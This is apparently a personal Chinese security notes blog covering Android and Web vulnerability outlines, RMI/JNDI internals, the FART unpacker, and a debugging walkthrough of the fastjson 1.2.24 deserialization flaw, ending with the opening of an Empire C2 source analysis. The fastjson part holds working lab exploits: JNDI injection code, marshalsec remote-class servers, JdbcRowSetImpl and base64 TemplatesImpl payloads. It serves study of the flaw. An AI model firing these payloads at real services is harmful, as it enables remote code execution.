Android安全技能树

用于记录Android知识点,仅作为个人知识整理的大纲

漏洞类型

  • 组件暴露
    • Activity
    • Service
    • Content-Provider
    • Receiver
  • 权限设置不当
    • LaunchAnyWhere/BroadcastAnyWhere
    • 游离权限
    • 敏感组件使用Normal权限
    • sharedUserId
  • 路径穿越
    • 下载
    • 保存
    • 解压
  • 设计缺陷
    • 分屏场景
    • 静默安装能力与sdk-version版本
  • WebView
    • 暴露JSBridge造成能力被恶意调用
  • HTTPS
    • 证书不可信时继续访问造成中间人攻击
  • DoS
    • NullPointerException
    • ClassCastException
    • IndexOutOfBoundsException
    • ClassNotFoundException
  • SQL注入(Content-Provider)
  • Logcat泄露敏感信息
  • 使用/sdcard保存私有数据

挖掘技术

  • Intent-Hook
  • 流量监听
    • HttpCanary
  • 脱壳技术
    • FART
    • Frida脱壳
  • Hook技术
    • Xposed
    • Frida

Web安全技能树

用于记录Web知识点,仅作为个人知识整理的大纲

通用技能

前端

  • XSS
    • Exploit
    • 绕过
  • CSRF
  • CORS使用不当
  • JSONP
  • XSSI
  • CSS-Data-Exfil
  • Post-Message引起数据泄露
  • Click-Jacking
  • 其他需要了解的概念
    • CSP
    • SOP

后端

  • 命令注入
  • SQL注入
  • 文件上传/下载
  • 横向/纵向越权
  • HTTP-Request-Smuggling
  • SSRF
  • SSTI
  • 反序列化

语言特性

Java

  • RMI/LDAP
  • JNDI注入
  • 反序列化
  • SpringMVC
    • 无视后缀名匹配进行绕过(使用静态文件后缀名)
    • 视图注入
    • SpEL表达式注入
    • SpringMVC数据流(配置项、过滤器、拦截器、切面、)
  • Struts OGNL表达式注入

PHP

  • 弱类型特性
  • filter

Python

  • 反序列化

Golang

关于RMI的Remote Object和Reference

在整理反序列化问题时对RMI相关的问题还是没有想清楚,单独开一篇记录下调试过程

需要解决的关键问题:

  1. RMI上绑定的Remote Object和Reference有什么区别
  2. 数据如何传输
  3. 为什么在JNDI注入时客户端查询到恶意类的Reference后,会在RMI客户端执行命令,而非RMI服务端

查了很多(二手)材料,发现没人能清楚的解答我的问题

最佳参考材料:官方文档

JNDI

信息来源:官方文档

JNDI其实是Java为需要提供命名和目录服务的程序提供的接口,是在具体的服务提供者上做的一层抽象。

JNDI Architecture

Naming service 和 directory service在wiki上其实是同义词,都指一种通过名称查询具体值的服务

JNDI的作用就是让上方的调用者只需要调用JNDI API,而不需要关心后端到底是由谁提供了具体的Naming and directory服务。具体的调用由JNDI SPI完成(Service Provider Interface)

RMI

从图上可以看出,RMI其实是一种具体的Service Provider,RMI是为了让一个JVM上的对象调用到另一个JVM的方法而创造的一种机制。

在调用远程方法时,自然会涉及参数传递和结果传回,RMI的具体机制为:参数被序列化后传到远程JVM,之后参数被反序列化并使用,而方法执行的结果则被序列化后发送给调用方的JVM。

之前已经测试过使用Reference时会造成Client命令执行,这次只调试下使用Remote Object会发生什么

Reference是JNDI对RMI的扩展,因此这里的Client是调用了JNDI的接口

RMI-Client测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Main.java
public static void main(String[] args) throws NamingException, RemoteException {
// client
// lookup for Hello Class and invoke remote method
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
System.getProperties().setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.getProperties().setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext(env);
Hello obj = (Hello) ctx.lookup(uri);
System.out.println(obj.sayHello());

}

在RMI-Client需要远程对象的接口

1
2
3
4
5
6
7
// Hello.java
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
public String sayHello() throws RemoteException;
}

RMI-Server的测试代码

1
2
3
4
5
6
// Main.java
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
HelloImpl h = new HelloImpl();
registry.bind("aa", h);
}

RMI-Server中有Hello接口的具体实现,也就是HelloImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.rmi.RemoteException;
import java.rmi.server.RMISocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
/**
* Creates and exports a new UnicastRemoteObject object using an
* anonymous port.
*
* <p>The object is exported with a server socket
* created using the {@link RMISocketFactory} class.
*
* @throws RemoteException if failed to export object
* @since JDK1.1
*/
protected HelloImpl() throws RemoteException {
}

public String sayHello() throws RemoteException {
System.out.println("hi");
return ("Hello, the date is " + new java.util.Date());
}
}

开启RMI-Server,之后启动RMI-Client,此时RMI-Client会来Server取Remote Object,并且调用sayHello方法,最直观的感受就是在RMI-Server上打印出了Hi字样,说明方法是在RMI-Server执行的

image-20200409000100902

而在RMI-Client获取到了sayHello方法的返回值(序列化执行结果后返回数据给Client)

image-20200409000224937

因此差异是:Remote Object在/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/src.zip!/javax/naming/spi/NamingManager.java这里会跳过getObjectFactoryFromReference的方法,而Reference则会走到这个分支

也就是说,Remote Object在调用时方法是在RMI Server执行的,而Reference是会根据地址取出ObjectFactory类,并且在Client实例化。这样就造成在处理Reference时RMI Client会执行命令

image-20200408234758578

测试代码:https://github.com/miaochiahao/rmi-test-code

另外,Remote Object与Client的通信具体过程其实是先由RMI-Server返回给Client一个代理(Stub),Client调用远程对象时都是通过Stub进行的,Stub封装了具体的通信细节,让调用远程方法就像调用本地方法一样

FART全自动脱壳机镜像刷机体验

相关材料

线刷

机型是刚买的pixel2,考虑到谷歌亲儿子更方便折腾还是买了pixel

记录流程:

  1. 开启pixel开发者模式,打开usb调试
  2. adb reboot bootloader
  3. fastboot flashing unlock
  4. 解锁后开启usb调试,再次进入bootloader
  5. ./flash-all.sh即可

使用

  1. 编写fart工具配置文件/data/fart,第一行是包名,第二行是私有目录,设置777权限
  2. 安装应用,启动应用,会在私有目录下生成dump下的dex和函数体文件
  3. 拷贝下相关文件,运行修复脚本

image-20200407192438206

脱壳前

image-20200407193218109

脱壳后

image-20200407193416385

效果非常好,想要的包都出来了。推荐继续阅读一下hanbing大佬写的三篇关于原理分析的文章

Fastjson反序列化

关于Java版本

Java8 -> JDK 1.8.0_241-b07 -> JDK 8u241

从xxlengend的payload说起

本文在以下环境中进行实验

java version “1.8.0_192”
Java(TM) SE Runtime Environment (build 1.8.0_192-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.192-b12, mixed mode)

如何正常编译:

1.首先注释掉所有的setAutoTypeSupport函数,1.2.24版本中没有这个方法

img

2.如果用的是Mac的话,记得把路径修改成斜线(原代码中是反斜线,这样会找不到对应的路径)

3.修改Test.java文件中要执行的命令

img

4.编译选项要选择Poc

img

此时即可触发第一种payload

img

使用fastjson进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class User {


public String name;
private int age;
private Boolean sex;
private Properties prop = new Properties();
public User(){
System.out.println("User() is called");
}
public void setAge(int age){
System.out.println("setAge() is called");
this.age = age;
}
public Boolean getSex(){
System.out.println("getGrade() is called");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp() is called");
return this.prop;
}
public String toString(){
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
public static void main(String[] args){
String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";


User user = new User();
user.name = "anakin";
user.age = 25;
user.sex = true;
user.prop.setProperty("foo", "bar");


String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);


// Object obj = JSON.parseObject(jsonstr, User.class);
// System.out.println(obj);
}
}

下面调试一下几个关键的过程,fastjson版本为1.2.24

将一个javabean序列化成JSONString的过程如下:

1.获取SerializeWriter,这一过程中会对需要序列化的类进行分析,如果不在fastjson默认的序列化器中,将会根据javabean的信息创建一个。这一过程中的关键函数是

com/alibaba/fastjson/serializer/SerializeConfig.java中的getObjectWriter,在阅读源码的过程中也可以看到fastjson对常见的类都有相应的序列化器。(例如Map, List, Collection Date…)

img

一系列的判断之后,如果我们需要序列化的javabean没有在fastjson已知的列表里,如果开启了create选项(默认开启的),就会根据javabean自身的信息来构建序列化器

img

继续向下跟进,会来到TypeUtils.buildBeanInfo和createJavaBeanSerializer,首先会对javabean的信息进行扫描(出于性能考虑),然后按照某种规则对javabean进行序列化,这个我们继续看

对javabean进行扫描的过程如下:

1.利用反射机制获取javabean的所有属性,如果有继承关系则继续扫描父类的属性(无继承关系的话父类是Object.class)

img

2.对扫描出的属性进行分析,这里处理的函数是computeGetters(com/alibaba/fastjson/util/TypeUtils.java)

利用反射机制取出class中所有的方法

img

符合以下条件的方法会被处理:

  • 不是静态方法
  • 返回值不为void
  • 不返回ClassLoader
  • 方法非getMetaClass
  • 以get开头,方法名大于3,且get后的第一个字母大写(即符合javabean中getter规范的方法)

处理方法为将getter方法与属性对应起来,存放到fieldInfo对象中,再放到fieldInfoMap里

img

3.当完成对getter的扫描后,会继续获取类的public属性

clazz.getFields()获取的是public属性;clazz.getDeclaredFields()获取的是所有属性

这里还会将public属性也存放到ArrayList中

可以说序列化过程中需要处理的也就是在fieldInfoList中存放的各个属性了,其他的属性不会继续在下面的过程中处理。扫描后的信息会存放在SerializeBeanInfo类

img

接下来会进入serializer创建过程,这一过程是字节码操作

也由于这一过程都是字节码操作,无法继续跟进调试

img

刚才过程中创建出的序列化器会在这里使用,write函数会对根据刚才规则筛选出的几个属性进行序列化操作

可以从变量里看出逐步的在写入JSONString

img

最终的结果为:

1
{"name":"anakin","prop":{"foo":"bar"},"sex":true}

使用fastjson进行反序列化

反序列化过程是将JSONString还原回对象的过程,例如:

Object obj = JSON.parseObject(jsonstr, User.class);

这里涉及到两个API,JSON.parse()和JSON.parseObject。在漏洞利用过程中这两个方法会有些许区别

先来看下parseObject

经过几个封装的方法后会进入DefaultJSONParser中

img

在DefaultJSONParser构造过程中可以发现,fastjson对两种符号存在特殊处理

img

在parser构建过程中的一个细节,会检查clazz是否在denyList里,这里是1.2.24版本(也就是在反序列化漏洞爆发之前的版本)denyList里存放的是java.lang.Thread类(com/alibaba/fastjson/parser/ParserConfig.java)

img

和序列化过程一样,在构造反序列化的parser时会先扫描是否反序列化的是已知的类,如果没有会创建一个新的反序列化器

img

这里的逻辑和createJavaBeanSerializer有些差异,继续跟进下看看:

img

com/alibaba/fastjson/util/JavaBeanInfo.java 这里是反序列化的行为。反序列化过程中除了调用setter还会调用getter

对于setter方法,需要符合以下条件:

  1. 方法名大于3
  2. 非静态方法
  3. 返回值为空,且返回值不能是声明自身的类
  4. 入参只有1个
  5. 以set开始,且第四个字母是大写(这里在编码的时候考虑了只有setXXX方法,但是找不到声明对应的属性的情况,例如属性名是Boolean isRight = True)

img

在获取所有的setter方法之后,会对类里public属性进行扫描

img

对于不在fieldList里的public属性,会手动添加到fieldList中

在处理完setter方法后,会继续对getter方法进行处理,重点来了。符合以下规则的getter方法会被特殊处理:

  1. 方法名大于3
  2. 非静态方法
  3. 以get开始,且第四个字母大写
  4. 是Collection||Map||AtomicBoolean||AtomicInteger||AtomicLong中某个类的子类
  5. 有getter方法但没有setter方法(如果有setter方法,在上面就会被处理了)

最终在反序列化的时候会调用这个getter方法

img

img

其实这里是为了兼容几种数据类型的写法,例如getProp方法其实会返回一个Properties对象,这里fastjson替用户封装了一步,直接写getProp也能正常的向里面放数据。

lexer.token

img

反序列化过程在com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java中,使用lexer对input进行扫描,按JSON的语法进行对象还原

img

charArrayCompare方法写的有些迷惑,从这里看它是严格按照顺序来匹配的,从第一个键值对开始,位置不对则不匹配

img

关键点:@type,这里会判断type和当前反序列化的类是否是相同的

img

从JSONString中解析出一个值后,会使用setValue方法去给对象赋值

img

此时其实已经创建了对象,无参构造器已经被调用了

img

准确来说是在com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java createInstance这里创建的

img

其实setValue方法在实现时,是在fieldInfo对象中取出了里面的setter方法,然后通过调用setter方法为javabean赋值

fastjson 1.2.24反序列化漏洞

理清序列化和反序列化过程之后再来看这个漏洞的几种不同的payload

铺垫:JNDI注入

关于JNDI相关的攻击方式,可以参考pwntester 2016年的blackhat演讲,材料

JNDI -> Java Naming and Directory Interface

Naming Service: key -> value; key -> object, such as DNS and file systems

Directory Service: Special type of Naming Service, that allows storing and finding of “directory objects”. A directory object differs from generic objects in that it’s possible to associate attrbutes to the object. (LDAP)

JNDI是一套接口,类似于索引中心,允许客户端通过name发现和查找数据以及对象。这些对象可以存储在不同的服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

JNDI可以:

  1. 直接绑定远程对象
  2. 绑定Reference

如果绑定Reference,为什么恶意代码会在Client执行,而非攻击者的Server执行?因为在Server绑定Reference时,这个恶意对象是不在Server上的,Reference指向某个地址,Client会去这个地址取出对象并在Client实例化

image-20200405003201845

既然是索引中心,那么JNDI就要分为client(查询)和server(注册资源)看一个最简单的demo:

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class Client {
public static void main(String[] args) throws Exception{
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
System.getProperties().setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.getProperties().setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext(env);
ctx.lookup(uri);
}
}

Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("aa", refObjWrapper);
}
}

EvilClass:

1
2
3
4
5
6
7
import java.io.IOException;

public class ExecTest {
public ExecTest() throws IOException {
final Process process = Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

版本问题:

image-20200404220349806

image-20200404220558086

为什么会造成命令执行?答案在Client的lookup方法中

image-20200404221455933

跟进后发现是接口,command+option+B查找实现,可以从报错的调用栈打印看到具体的实现类是哪一个

1
2
3
4
5
6
7
8
9
10
11
Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExecTest cannot be cast to javax.naming.spi.ObjectFactory]
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:507)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at Client.main(Client.java:9)
Caused by: java.lang.ClassCastException: ExecTest cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
... 4 more

最终发现在com/sun/jndi/rmi/registry/RegistryContext.java中的decodeObject中有创建实例的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

跟进到getObjectInstance方法,这里代码执行的点有两处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// NamingManager.class
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

// 代码执行,构造器和静态方法会被执行
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
// 代码执行,当复写getObjectInstance方法时这里会执行
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

image-20200404232052152

JNDI的一个特性是协议动态转换,即使client在初始化时使用的上下文环境为RMI,在lookup方法中传入LDAP协议的URI也能支持,程序会自动切换到LDAP的上下文中。

可以使用marshalsec工具快速开启RMI/LDAP服务

1
2
3
4
5
6
7
8
9
10
// client
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
System.getProperties().setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.getProperties().setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String uri = "ldap://localhost:1389/obj";
// String uri = "rmi://127.0.0.1:1389/aa";
Context ctx = new InitialContext(env);
ctx.lookup(uri);
1
2
3
4
// hacker marshalsec service
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/\#ExecTest
Listening on 0.0.0.0:1389
Send LDAP reference result for obj redirecting to http://127.0.0.1:8081/ExecTest.class

该命令会在1389端口开启LDAP,在client查询ldap://localhost:1389/obj时返回http://127.0.0.1:8081/ExecTest.class

RMI Remote Object Payload

kingx提到攻击者可以实现一个RMI恶意远程对象并绑定到RMI Registry上,如果client在反序列化时发现一个对象,则先会到CLASSPATH寻找相应的类,如果找不到类定义时会根据codebase去下载这个类的class,然后动态加载。(以下一段摘自这里

这种方式局限很大,因此并不是很常见,限制条件为:

  1. 安装并配置了SecurityManager
  2. Java版本低于7u21, 6u45或者设置了java.rmi.server.useCodebaseOnly=false

实验一下:

1
// server的远程接口

RMI JNDI Reference Payload

使用marshalsec开启RMI服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8081/\#ExecTest

Payload:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/ExexTest","autoCommit":true}

RMI和LDAP的利用类是com.sun.rowset.JdbcRowSetImpl,刚才已经提到过,在设置autoCommit属性并进行反序列化时,fastjson会调用其setter方法setAutoCommit

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

这里会触发this.connect()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

继续跟进lookup()方法,后续代码会根据传入URI的scheme判断使用何种上下文环境继续解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}

由于传入的是RMI协议,继续解析的过程到达com/sun/jndi/toolkit/url/GenericURLContext.class,这样就形成了JNDI注入

LDAP JNDI Reference Payload

使用marshalsec开启LDAP服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/\#ExecTest

payload如下:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

这个利用方案与RMI相同,由于JNDI有动态协议切换的特性,所以我们传入LDAP协议的payload也是可以的。而且ldap的适用性更广,放一张2016年的blackhat演讲,LDAP在

image-20200405134201277

插曲:JDK版本对RMI和LDAP的限制

From smi1e

JDK 6u132, JDK 7u122, JDK 8u113 中JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

LDAP服务的Reference远程加载Factory类不受上一点中com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.18u1917u2016u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false

RMI BeanFactory

RMI禁用了远程加载类后,新的POC模式出现了,使用RMI+本地加载类的方式进行绕过,例如BeanFactory类.

当服务端使用了高版本的JDK(9u191以上版本),默认状态下不能在远程加载恶意的Factory,但如果在本地有能够利用的Factory就依然可以走getObjectInstance()的分支实现命令执行

一个满足条件并且被广泛使用的类是org.apache.naming.factory.BeanFactory,在Tomcat的依赖包中。

实际的利用过程是,首先恶意的RMI-Server需要绑定一个ResourceRef来封装工厂类,当客户端lookup操作获取到对象后,会先判断是否是Reference类型

image-20200410220355915

如果是Reference会使用getObjectFactoryFromReference方法获取工厂类,然后调用factory.getObjectInstance方法进行实例化。这里获取到的工厂类就是BeanFactory

LDAP Java Serialized Data

POC5:特殊类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

1
2
// payload
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],'_name':'a.b','_tfactory':{ },"_outputProperties":{}}

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl类实现的命令执行

fastjson 1.2.25修复

https://github.com/alibaba/fastjson/compare/1.2.24...1.2.25

image-20200410234925624

fastjson 1.2.42修复

https://github.com/alibaba/fastjson/compare/1.2.25...1.2.42

image-20200411001638162

image-20200411002000317

image-20200411005234842

Reference

Empire源码分析

一直在思考远控应该怎么设计,远控的源码究竟是什么样的。这次我会对Empire这个优秀的开源后渗透框架的源码进行分析,去挖掘这个框架背后的设计方法和原理。我想,分析完这个框架之后,我们就能够借鉴其思想,自己来实现一个远控程序来。

由于一些原因,这些分析只能在下班时间来写。对于这个框架,我打算分五篇文章写完,目录结构如下:

  1. Empire整体结构 & 程序入口
  2. Stager & Listener & Agent
  3. 数据流通 & 数据加密
  4. 插件 & 扩展性
  5. 第三方库们

今天先开始第一篇,谈一谈Empire的目录结构和入口文件。从Github获取源码,只显示了二级目录并去除了一些安装部署相关的文件后,比较重要的几个目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Empire

├── data data目录用于存放静态文件、模板、数据库等

│ ├── agent

│ ├── empire-chain.pem

│ ├── empire-priv.key

│ ├── empire.db Empire使用了sqlite数据库存储

│ ├── misc

│ ├── module_source

│ ├── obfuscated_module_source

│ └── profiles

├── empire 主程序入口,python文件

├── lib

│ ├── common

│ ├── listeners 放置了不同的listener

│ ├── modules 放置了各种payload,后渗透功能相关

│ ├── powershell 放置Invoke-Obfuscation项目文件,用于混淆powershell

│ └── stagers 放置了各种平台下的stager

└── plugins 放置了插件示例文件

可以看见项目文件还是比较清晰的,由于当前远控多数情况还是被控端主动连接到控制端的,为了区分方便,在下文中我会将被控端称之为Client,将控制端称为Server。

我们先来分析Server端,看一下这个项目是怎样运行的。首先关注一下Empire/empire这个文件,这是整个程序的入口。在逐渐阅读了Empire项目源码之后,我比较惊讶的是这个后渗透框架的本质其实是一个Flask Web App。

程序在最开始定义了一些数据库连接和查询相关的函数,这里的数据库使用的是sqlite。为了给RESTFUL API鉴权,这里还给出了生成token的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def refresh_api_token(conn):

"""

Generates a randomized RESTful API token and updates the value

in the config stored in the backend database.

"""

# generate a randomized API token

apiToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40))

execute_db_query(conn, "UPDATE config SET api_current_token=?", [apiToken])

return apiToken

